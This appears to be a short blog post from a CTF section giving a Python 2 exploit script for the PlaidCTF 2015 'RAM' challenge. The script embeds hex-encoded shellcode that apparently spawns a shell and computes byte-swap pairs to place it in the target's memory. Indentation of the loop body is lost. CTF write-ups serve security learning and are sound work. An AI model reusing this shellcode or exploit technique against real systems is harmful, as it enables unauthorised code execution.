Games/CTF

PlaidCTF 2015 RAM

daehee87 2015. 11. 18. 21:28

# pCTF2015 RAM exploit

import os, sys, struct

code  = '09508fe215ff2fe1c1c2c3c4c5c6c7c87b46d96a'

code += '1d6b0639073d0391049505af083f381c4940921a'

code += '0b2701dff1f2f3f4f5f6f7f8b1b2b3b4b5b6b7b8'

code += 'b9babbbc3562696e36736800'

code = code.decode('hex')

buf = map(chr, range(256))

res = ''

i=0

for b in code:

target = chr( struct.unpack('<B', b)[0] )

n = buf.index(target)

#print 'swap {} - {}'.format(n, i)

res += chr(n)

res += chr(i)

buf[i], buf[n] = buf[n], buf[i]

i += 1

res += '\xfe\xfe'

print res